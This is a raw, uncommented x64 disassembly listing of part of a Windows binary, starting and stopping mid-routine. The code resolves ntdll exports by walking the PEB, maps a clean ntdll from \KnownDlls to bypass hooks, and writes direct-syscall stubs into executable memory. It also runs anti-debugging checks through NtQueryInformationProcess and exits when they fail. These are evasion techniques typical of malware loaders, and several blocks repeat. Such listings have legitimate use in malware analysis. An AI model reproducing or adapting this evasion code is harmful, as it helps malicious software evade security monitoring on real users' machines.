sub rcx, rsi
test al, al
je 0x14000b5aa
cmp byte [rdx], r15b
je 0x14000b5af
inc rdx
movzx eax, byte [rcx + rdx]
cmp al, byte [rdx]
je 0x14000b594
jmp 0x14000b5af
cmp byte [rdx], r15b
je 0x14000b5c7
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000b5c7
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14000b580
jmp 0x14000b643
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x14000b643
test r14, r14
je 0x14000b643
test r12, r12
je 0x14000b643
lea r8, [rbp + 0x50]
mov edx, 4
lea rcx, [rbp + 0x28]
call r12
test eax, eax
js 0x14000b643
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], 1
lea rax, [rbp + 0x40]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x30]
lea rdx, [r9 - 1]
mov rcx, qword [rbp + 0x28]
call r14
test eax, eax
js 0x14000b643
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x14000b643
call rdi
jmp 0x14000b643
xor r15d, r15d
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000b688
nop
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000b67a
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000b684
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000b660
jmp 0x14000b688
lea r14, [rdi - 0x10]
mov r10, qword [r14 + 0x30]
mov edi, reloc.WLDAP32.dll_Ordinal_22
lea esi, [rdi + 3]
lea ebx, [rdi + 1]
lea r14, str.NtQueryInformationProcess
lea r12, str.ZwUnmapViewOfSection
mov r9, qword [rbp + 0x30]
test r9, r9
je 0x14000b838
test r10, r10
je 0x14000b838
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14000b751
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000b751
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000b751
mov edi, dword [rax + 0x20]
add rdi, r9
mov ebx, dword [rax + 0x24]
add rbx, r9
mov esi, dword [rax + 0x1c]
add rsi, r9
mov r8d, r15d
mov r11d, dword [rax + 0x14]
test r11d, r11d
je 0x14000b751
mov rcx, r14
mov eax, dword [rdi]
add rax, r9
je 0x14000b745
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x14000b737
sub rax, r14
test dl, dl
je 0x14000b72e
cmp byte [rcx], 0
je 0x14000b737
inc rcx
movzx edx, byte [rax + rcx]
cmp dl, byte [rcx]
je 0x14000b718
jmp 0x14000b737
cmp byte [rcx], 0
je 0x14000b7cb
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14000b7cb
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x14000b703
mov rbx, r15
mov ecx, 0x5a4d
cmp word [r10], cx
jne 0x14000b7f8
mov eax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x14000b7f8
mov eax, dword [rax + r10 + 0x88]
add rax, r10
je 0x14000b7f8
mov edi, dword [rax + 0x20]
add rdi, r10
mov esi, dword [rax + 0x24]
add rsi, r10
mov r14d, dword [rax + 0x1c]
add r14, r10
mov r8d, r15d
mov r11d, dword [rax + 0x14]
test r11d, r11d
je 0x14000b7f8
mov rdx, r12
mov ecx, dword [rdi]
add rcx, r10
je 0x14000b7ec
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x14000b7e2
sub rcx, r12
test al, al
je 0x14000b7dd
cmp byte [rdx], 0
je 0x14000b7e2
inc rdx
movzx eax, byte [rcx + rdx]
cmp al, byte [rdx]
je 0x14000b7b5
jmp 0x14000b7e2
movsxd rax, r8d
movzx ecx, word [rbx + rax*2]
mov ebx, dword [rsi + rcx*4]
add rbx, r9
jmp 0x14000b754
cmp byte [rdx], 0
je 0x14000b80e
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000b80e
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x14000b7a1
mov rax, r15
mov rdx, r9
mov rcx, 0xffffffffffffffff
test rbx, rbx
jne 0x14000b81e
call rax
jmp 0x14000b82d
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r10
jmp 0x14000b7fb
movzx ebx, word [rbx + 4]
call rax
mov word [rbp + 0x18], bx
test bx, bx
jne 0x14000b87b
mov esi, Ordinal_26
lea ebx, [rsi - 2]
lea edi, [rsi - 3]
lea rcx, str.____Cant_get_syscall_auto__n
call fcn.140006910
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x14000b874
cmp al, 6
jne 0x14000b86f
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14000b86f
sub ecx, 1
je 0x14000b877
cmp ecx, 1
jne 0x14000b874
lea ebx, [rcx + 0x17]
jmp 0x14000b877
movzx ebx, di
jmp 0x14000b877
movzx ebx, si
mov word [rbp + 0x18], bx
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov r14d, recv
mov qword [rbp - 0x70], r14
test rax, rax
je 0x14000b9bb
lea rcx, [rbp + 0x111]
lea rax, [rbp + 0x18]
cmp rcx, rax
jbe 0x14000b8d0
lea rcx, [rbp + 0x111]
lea rax, [rbp + 0x1a]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + 0x19]
mov byte [rbp + 0x112], al
mov byte [rbp + 0x111], bl
lea rcx, [rbp + 0x110]
cmp rdi, rcx
jbe 0x14000b900
lea rcx, [rbp + 0x11b]
nop dword [rax]
nop word [rax + rax]
mov dword [rdi + 7], 0xc3050fd1
mov dword [rdi + 3], 0x8b4c0000
mov byte [rdi + 2], al
mov byte [rdi + 1], bl
mov byte [rdi], 0xb8
mov qword [rsp + 0x20], r15
mov r9d, 8
lea r8, [rbp + 0xe0]
lea edx, [r9 - 1]
mov rcx, 0xffffffffffffffff
call rdi
mov esi, eax
mov r11, r14
mov r9, rdi
lea rbx, [rbp + 0x110]
sub rbx, rdi
nop dword [rax + rax]
movzx r8d, byte [r9]
movzx r10d, byte [rbx + r9]
lea eax, [r10 - 0x61]
lea edx, [r10 - 0x20]
cmp eax, 0x19
cmova edx, r10d
lea eax, [r8 - 0x61]
lea ecx, [r8 - 0x20]
cmp eax, 0x19
cmova ecx, r8d
cmp ecx, edx
jne 0x14000b986
inc r9
sub r11, 1
jne 0x14000b950
jmp 0x14000b98b
cmp r8d, r10d
jne 0x14000b9aa
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
js 0x14000b9bb
cmp qword [rbp + 0xe0], 0
je 0x14000b9bb
call fcn.1400093a0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp + 0x30], r15d
mov dword [rbp + 0x120], 0xb8
mov dword [rbp + 0x124], 0xd18b4c00
mov word [rbp + 0x128], 0x50f
mov byte [rbp + 0x12a], Ordinal_200
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x40], r15
mov dword [rbp + 0x54], r15d
mov dword [rbp + 0x6c], r15d
lea rdi, [rbp + 0x140]
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rbp + 0x140]
cmp word [rbp + 0x140], 0
je 0x14000ba2a
nop dword [rax + rax]
add rax, 2
cmp word [rax], 0
jne 0x14000ba20
movzx ecx, r13w
lea rdx, str.KnownDlls_
sub rdx, rax
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x14000ba40
mov word [rax], r15w
lea rax, [rbp + 0x140]
cmp word [rbp + 0x140], cx
je 0x14000ba6e
add rax, 2
cmp word [rax], 0
jne 0x14000ba64
mov ecx, WSAGetLastError
lea rdx, str.ntdll.dll
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x14000ba80
mov word [rax], r15w
lea rcx, [rbp + 0x140]
mov eax, r15d
cmp word [rbp + 0x140], 0
je 0x14000babc
nop dword [rax + rax]
inc eax
lea rcx, [rcx + 2]
cmp word [rcx], 0
jne 0x14000bab0
add ax, ax
mov word [rsp + 0x70], ax
add ax, 2
mov word [rsp + 0x72], ax
lea rax, [rbp + 0x140]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x90], xmm0
mov dword [rbp + 0x50], Ordinal_50
mov qword [rbp + 0x58], r15
mov dword [rbp + 0x68], 0x40
lea rax, [rbp + 0x90]
mov qword [rbp + 0x60], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x70], xmm0
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000bb4f
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000bb41
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000bb4b
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000bb27
jmp 0x14000bb4f
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x14000bbf5
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14000bbf5
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000bbf5
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000bbf5
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
mov r8d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000bbf5
lea rsi, str.ZwOpenSection
nop dword [rax]
mov rdx, rsi
mov ecx, dword [rdi]
add rcx, r9
je 0x14000bbe9
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x14000bbdf
sub rcx, rsi
test al, al
je 0x14000bbda
cmp byte [rdx], 0
je 0x14000bbdf
inc rdx
movzx eax, byte [rcx + rdx]
cmp al, byte [rdx]
je 0x14000bbc4
jmp 0x14000bbdf
cmp byte [rdx], 0
je 0x14000bc38
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000bc38
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14000bbb0
mov r12, r15
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000bc4d
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000bc2e
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000bc49
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000bc14
jmp 0x14000bc4d
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x14000bbf8
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x14000bcf6
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14000bcf6
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000bcf6
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000bcf6
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
mov r8d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000bcf6
lea rsi, str.ZwMapViewOfSection
nop word [rax + rax]
mov rcx, rsi
mov eax, dword [rdi]
add rax, r9
je 0x14000bcea
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x14000bce0
sub rax, rsi
test dl, dl
je 0x14000bcdb
cmp byte [rcx], 0
je 0x14000bce0
inc rcx
movzx edx, byte [rax + rcx]
cmp dl, byte [rcx]
je 0x14000bcc5
jmp 0x14000bce0
cmp byte [rcx], 0
je 0x14000bd36
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14000bd36
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14000bcb0
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000bd4b
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000bd2c
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000bd47
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000bd12
jmp 0x14000bd4b
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r14d, dword [rbx + rcx*4]
add r14, r9
jmp 0x14000bcf9
lea r15, [rdi - 0x10]
mov r9, qword [r15 + 0x30]
test r9, r9
je 0x14000be83
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14000be83
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000be83
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000be83
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
xor r15d, r15d
mov r8d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000be86
lea rsi, str.NtClose
nop word [rax + rax]
mov rdx, rsi
mov ecx, dword [rdi]
add rcx, r9
je 0x14000bdf9
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x14000bdef
sub rcx, rsi
test al, al
je 0x14000bdea
cmp byte [rdx], r15b
je 0x14000bdef
inc rdx
movzx eax, byte [rcx + rdx]
cmp al, byte [rdx]
je 0x14000bdd4
jmp 0x14000bdef
cmp byte [rdx], r15b
je 0x14000be07
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000be07
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14000bdc0
jmp 0x14000be86
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x14000be86
test r14, r14
je 0x14000be86
test r12, r12
je 0x14000be86
lea r8, [rbp + 0x50]
mov edx, 4
lea rcx, [rbp + 0x28]
call r12
test eax, eax
js 0x14000be86
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], 1
lea rax, [rbp + 0x40]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0xe0]
lea rdx, [r9 - 1]
mov rcx, qword [rbp + 0x28]
call r14
test eax, eax
js 0x14000be86
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x14000be86
call rdi
jmp 0x14000be86
xor r15d, r15d
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000beca
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000bebc
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000bec6
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000bea2
jmp 0x14000beca
lea r14, [rdi - 0x10]
mov r10, qword [r14 + 0x30]
mov r9, qword [rbp + 0xe0]
test r9, r9
je 0x14000c06d
test r10, r10
je 0x14000c06d
mov r12d, 0x5a4d
cmp word [r9], r12w
jne 0x14000bf8d
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000bf8d
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000bf8d
mov edi, dword [rax + 0x20]
add rdi, r9
mov ebx, dword [rax + 0x24]
add rbx, r9
mov esi, dword [rax + 0x1c]
add rsi, r9
mov r8d, r15d
mov r11d, dword [rax + 0x14]
test r11d, r11d
je 0x14000bf8d
lea r14, str.NtQueryInformationProcess
nop dword [rax + rax]
mov rdx, r14
mov ecx, dword [rdi]
add rcx, r9
je 0x14000bf81
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x14000bf73
sub rcx, r14
test al, al
je 0x14000bf6a
cmp byte [rdx], 0
je 0x14000bf73
inc rdx
movzx eax, byte [rcx + rdx]
cmp al, byte [rdx]
je 0x14000bf54
jmp 0x14000bf73
cmp byte [rdx], 0
je 0x14000c00b
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000c00b
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x14000bf40
mov rbx, r15
cmp word [r10], r12w
jne 0x14000c038
mov eax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x14000c038
mov eax, dword [rax + r10 + 0x88]
add rax, r10
je 0x14000c038
mov edi, dword [rax + 0x20]
add rdi, r10
mov esi, dword [rax + 0x24]
add rsi, r10
mov r14d, dword [rax + 0x1c]
add r14, r10
mov r8d, r15d
mov r11d, dword [rax + 0x14]
test r11d, r11d
je 0x14000c038
lea r12, str.ZwUnmapViewOfSection
nop
mov rcx, r12
mov eax, dword [rdi]
add rax, r10
je 0x14000c02c
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x14000c022
sub rax, r12
test dl, dl
je 0x14000c01d
cmp byte [rcx], 0
je 0x14000c022
inc rcx
movzx edx, byte [rax + rcx]
cmp dl, byte [rcx]
je 0x14000bff5
jmp 0x14000c022
movsxd rax, r8d
movzx ecx, word [rbx + rax*2]
mov ebx, dword [rsi + rcx*4]
add rbx, r9
jmp 0x14000bf90
cmp byte [rcx], 0
je 0x14000c04e
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14000c04e
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x14000bfe0
mov rax, r15
mov rdx, r9
mov rcx, 0xffffffffffffffff
test rbx, rbx
jne 0x14000c05e
call rax
jmp 0x14000c06d
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r10
jmp 0x14000c03b
movzx ebx, word [rbx + 4]
call rax
mov word [rbp + 0x1c], bx
test bx, bx
jne 0x14000c0af
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x14000c0a6
cmp al, 6
jne 0x14000c09f
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14000c09f
sub ecx, 1
je 0x14000c098
cmp ecx, 1
jne 0x14000c0a6
lea ebx, [rcx + 0x17]
jmp 0x14000c0ab
mov ebx, reloc.WS2_32.dll_socket
jmp 0x14000c0ab
mov ebx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14000c0ab
mov ebx, Ordinal_26
mov word [rbp + 0x1c], bx
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14000c1d6
lea rcx, [rbp + 0x121]
lea rax, [rbp + 0x1c]
cmp rcx, rax
jbe 0x14000c0f0
lea rcx, [rbp + 0x121]
lea rax, [rbp + 0x1e]
nop dword [rax + rax]
movzx eax, byte [rbp + 0x1d]
mov byte [rbp + 0x122], al
mov byte [rbp + 0x121], bl
lea rcx, [rbp + 0x120]
cmp rdi, rcx
jbe 0x14000c120
lea rcx, [rbp + 0x12b]
nop dword [rax]
nop word [rax + rax]
mov dword [rdi + 7], 0xc3050fd1
mov dword [rdi + 3], 0x8b4c0000
mov byte [rdi + 2], al
mov byte [rdi + 1], bl
mov byte [rdi], 0xb8
mov qword [rsp + 0x20], r15
mov r9d, 4
lea r8, [rbp + 0x30]
lea edx, [r9 + 0x1b]
mov rcx, 0xffffffffffffffff
call rdi
mov esi, eax
mov r11d, recv
mov r9, rdi
lea rbx, [rbp + 0x120]
sub rbx, rdi
nop dword [rax + rax]
movzx r8d, byte [r9]
movzx r10d, byte [r9 + rbx]
lea eax, [r10 - 0x61]
lea edx, [r10 - 0x20]
cmp eax, 0x19
cmova edx, r10d
lea eax, [r8 - 0x61]
lea ecx, [r8 - 0x20]
cmp eax, 0x19
cmova ecx, r8d
cmp ecx, edx
jne 0x14000c1a6
inc r9
sub r11, 1
jne 0x14000c170
jmp 0x14000c1ab
cmp r8d, r10d
jne 0x14000c1c5
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
jne 0x14000c1d6
cmp dword [rbp + 0x30], esi
jne 0x14000c1d6
call fcn.1400093a0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp + 0x30], r15
mov dword [rbp + 0x130], 0xb8
mov dword [rbp + 0x134], 0xd18b4c00
mov word [rbp + 0x138], 0x50f
mov byte [rbp + 0x13a], Ordinal_200
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x40], r15
mov dword [rbp + 0x54], r15d
mov dword [rbp + 0x6c], r15d
lea rdi, [rbp + 0x140]
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rbp + 0x140]
cmp word [rbp + 0x140], 0
je 0x14000c240
add rax, 2
cmp word [rax], 0
jne 0x14000c236
lea rcx, str.KnownDlls_
sub rcx, rax
nop word [rax + rax]
mov word [rax], r13w
lea rax, [rax + 2]
movzx r13d, word [rax + rcx]
test r13w, r13w
jne 0x14000c250
xor r13d, r13d
mov word [rax], r13w
lea rax, [rbp + 0x140]
cmp word [rbp + 0x140], r13w
je 0x14000c28a
nop dword [rax + rax]
add rax, 2
cmp word [rax], r13w
jne 0x14000c280
lea rcx, str.ntdll.dll
sub rcx, rax
mov edx, WSAGetLastError
nop dword [rax]
mov word [rax], dx
lea rax, [rax + 2]
movzx edx, word [rax + rcx]
test dx, dx
jne 0x14000c2a0
mov word [rax], r13w
lea rcx, [rbp + 0x140]
mov eax, r13d
cmp word [rbp + 0x140], r13w
je 0x14000c2dc
nop dword [rax + rax]
inc eax
lea rcx, [rcx + 2]
cmp word [rcx], r13w
jne 0x14000c2d0
add ax, ax
mov word [rsp + 0x70], ax
add ax, 2
mov word [rsp + 0x72], ax
lea rax, [rbp + 0x140]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x90], xmm0
mov dword [rbp + 0x50], Ordinal_50
mov qword [rbp + 0x58], r13
mov dword [rbp + 0x68], 0x40
lea rax, [rbp + 0x90]
mov qword [rbp + 0x60], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x70], xmm0
mov r14, r13
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000c36f
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000c361
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000c36b
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000c347
jmp 0x14000c36f
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
mov r15d, 0x5a4d
test r9, r9
je 0x14000c415
cmp word [r9], r15w
jne 0x14000c415
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000c415
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000c415
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
mov r8d, r13d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000c415
lea rsi, str.ZwOpenSection
nop dword [rax]
mov rdx, rsi
mov ecx, dword [rdi]
add rcx, r9
je 0x14000c409
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x14000c3ff
sub rcx, rsi
test al, al
je 0x14000c3fa
cmp byte [rdx], r13b
je 0x14000c3ff
inc rdx
movzx eax, byte [rdx + rcx]
cmp al, byte [rdx]
je 0x14000c3e4
jmp 0x14000c3ff
cmp byte [rdx], r13b
je 0x14000c458
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000c458
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14000c3d0
mov r12, r13
mov r14, r13
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000c46d
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000c44e
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000c469
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000c434
jmp 0x14000c46d
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x14000c418
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x14000c511
cmp word [r9], r15w
jne 0x14000c511
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000c511
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000c511
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
mov r8d, r13d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000c511
lea rsi, str.ZwMapViewOfSection
mov rdx, rsi
mov ecx, dword [rdi]
add rcx, r9
je 0x14000c505
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x14000c4fb
sub rcx, rsi
nop dword [rax]
test al, al
je 0x14000c4f6
cmp byte [rdx], r13b
je 0x14000c4fb
inc rdx
movzx eax, byte [rdx + rcx]
cmp al, byte [rdx]
je 0x14000c4e0
jmp 0x14000c4fb
cmp byte [rdx], r13b
je 0x14000c554
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000c554
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14000c4c5
mov r14, r13
mov r15, r13
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000c569
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000c54a
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000c565
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000c530
jmp 0x14000c569
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r14d, dword [rbx + rcx*4]
add r14, r9
jmp 0x14000c514
lea r15, [rdi - 0x10]
mov r9, qword [r15 + 0x30]
mov r15d, 0x5a4d
test r9, r9
je 0x14000c615
cmp word [r9], r15w
jne 0x14000c615
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14000c615
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14000c615
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
mov r8d, r13d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x14000c615
lea rsi, str.NtClose
nop dword [rax + rax]
mov rdx, rsi
mov ecx, dword [rdi]
add rcx, r9
je 0x14000c609
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x14000c5ff
sub rcx, rsi
test al, al
je 0x14000c5fa
cmp byte [rdx], r13b
je 0x14000c5ff
inc rdx
movzx eax, byte [rdx + rcx]
cmp al, byte [rdx]
je 0x14000c5e4
jmp 0x14000c5ff
cmp byte [rdx], r13b
je 0x14000c66b
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14000c66b
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14000c5d0
mov r12d, 1
mov r14, r13
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14000c6fd
nop dword [rax + rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14000c65e
lea rcx, str.ntdll.dll
call fcn.1400067b0
test rax, rax
jne 0x14000c6f9
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14000c640
jmp 0x14000c6fd
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x14000c615
test r14, r14
je 0x14000c615
test r12, r12
je 0x14000c615
lea r8, [rbp + 0x50]
mov edx, 4
lea rcx, [rbp + 0x28]
call r12
mov r12d, 1
test eax, eax
js 0x14000c61b
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], r12d
lea rax, [rbp + 0x40]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0xe0]
lea rdx, [r9 - 1]
mov rcx, qword [rbp + 0x28]
call r14
test eax, eax
js 0x14000c61b
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x14000c61b
call rdi
jmp 0x14000c61b
lea r14, [rdi - 0x10]
mov r10, qword [r14 + 0x30]
